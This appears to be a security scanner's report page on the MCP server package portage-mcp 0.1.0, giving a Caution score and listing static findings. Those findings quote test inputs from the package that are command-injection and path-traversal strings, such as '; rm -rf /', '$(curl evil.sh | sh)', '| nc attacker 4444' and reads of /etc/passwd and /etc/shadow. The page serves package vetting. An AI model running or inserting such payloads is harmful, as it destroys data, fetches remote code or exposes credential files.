portage-mcp@0.1.0
CAUTION· static onlyPublisher claims: "Generate an MCP server from any CLI tool's own --help output." Observed in sandbox: static analysis only — behavior not yet observed.
Coverage
Static only; nothing was run yet.The label rests on the code, the instruction files and the publisher. The honeypot run replaces this verdict when it completes.
Before you give it your token
- It will ask for
PORTAGE_ENGINE_TOKENConfiguration, not credentials: PORTAGE_ENGINE_URL- Where it talks to
- no vendor host named in the code
- What the honeypot saw
- nothing has run yet
- What we could not test
- everything: the server has not run yet
Run it before you trust it. Nothing has run yet: the code was read, the server was not. `vet-skills try` runs this exact version in the honeypot in about a minute.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills analysed it statically (a sandbox run is pending) on 2026-11-14 and scored it 57/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Collapsed <details> block carrying instructions. Summary: static analysis only — behavior not yet observed.
Behavior trace
Queued for honeypot run · static analysis onlyThis version has not been detonated yet. The score above counts behavior as unknown (50/100), so it cannot read Verified until the honeypot run completes and replaces this verdict.
Static findings
sudo apt-get updateFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.<summary><b>What is <i>not</i> yet covered</b></summary> - Container / restricted-user isolation on the deployed engine (the sandbox wrappers exist; a permittedFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.completed = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from portage.server import build_http_app, build_mcp_server, run_http, serve_stdio, tool_to_mcpFix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them.arguments={"name": "; rm -rf /"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."$(curl evil.sh | sh)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."; rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."$(curl evil.sh | sh)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.-> run_process() # subprocess.run(argv, shell=False, timeout=...)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.arguments={"target": "/etc/passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.resolved = discovery.resolve_executable("./tool; rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.build_command_arguments(specs, {"jobs": "4; rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.build_command_arguments(specs, {"jobs": "4; rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.assert argv == ["--output", "/etc/passwd"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.completed = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.assert json.loads(outcome.result.stdout) == ["; rm -rf /"] # passed as dataFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.( cd "$here" && npx --yes wrangler dev --port "$worker_port" --local >/tmp/portage-worker.log 2>&1 ) &Fix: Pin versions and sources; vendor anything fetched at install time.resolved = discovery.resolve_executable("./tool; rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."; rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.assert "--output=/etc/passwd" not in argv # never joined with "="Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert check_values(rules, {"url": "file:///etc/passwd"}).ok is FalseFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.arguments={"name": "; rm -rf /"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."--output=/etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."../../../../../../etc/shadow",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.sudo apt-get install -y jq ripgrep curl ffmpeg bubblewrap man-dbFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.kill "$engine_pid" "$worker_pid" 2>/dev/null || trueFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.argv = build_command_arguments(specs, {"output": "/etc/passwd"})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."../../../../etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."| nc attacker 4444",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.completed = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.assert check_values(rules, {"path": "../../etc/passwd"}).ok is FalseFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."${IFS}cat${IFS}/etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert json.loads(outcome.result.stdout) == ["; rm -rf /"] # passed as dataFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
No advisories in OSV for portage-mcp@0.1.0 as of 5 min ago. This is the package itself, not its dependencies.
What would make this Verified
23 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Unclaimed publisher≈ +8 on the totalClaim jayaprakash2207: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Hidden instructions≈ +6 on the totalRemove HTML comments, zero-width characters and white-on-white text that carry instructions. Everything the agent is meant to read should be visible to the person reading the file.
- Privileged sudo command≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- MCP server using network transport (SSE/HTTP)≈ +2 on the totalNamespace tool names and keep tool descriptions literal; no instructions to the agent inside them.
- Destructive file system command detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.